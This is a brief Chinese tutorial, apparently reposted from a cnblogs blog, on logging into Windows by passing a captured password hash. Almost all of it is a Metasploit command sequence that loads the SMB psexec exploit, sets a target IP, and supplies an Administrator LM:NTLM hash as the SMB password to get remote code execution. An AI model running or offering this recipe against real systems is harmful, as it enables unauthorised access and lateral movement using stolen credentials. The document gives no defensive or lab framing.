使用Hash直接登录Windows(HASH传递)

抓取windows hash值

得到administrator的hash:

598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BF


msf调用payload:

use exploit/windows/smb/psexec 

show options

set RHOST 192.168.81.129

set SMBPass 598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BF

set SMBUser Administrator

show options

run

 

原文地址:https://www.cnblogs.com/h4ck0ne/p/5154595.html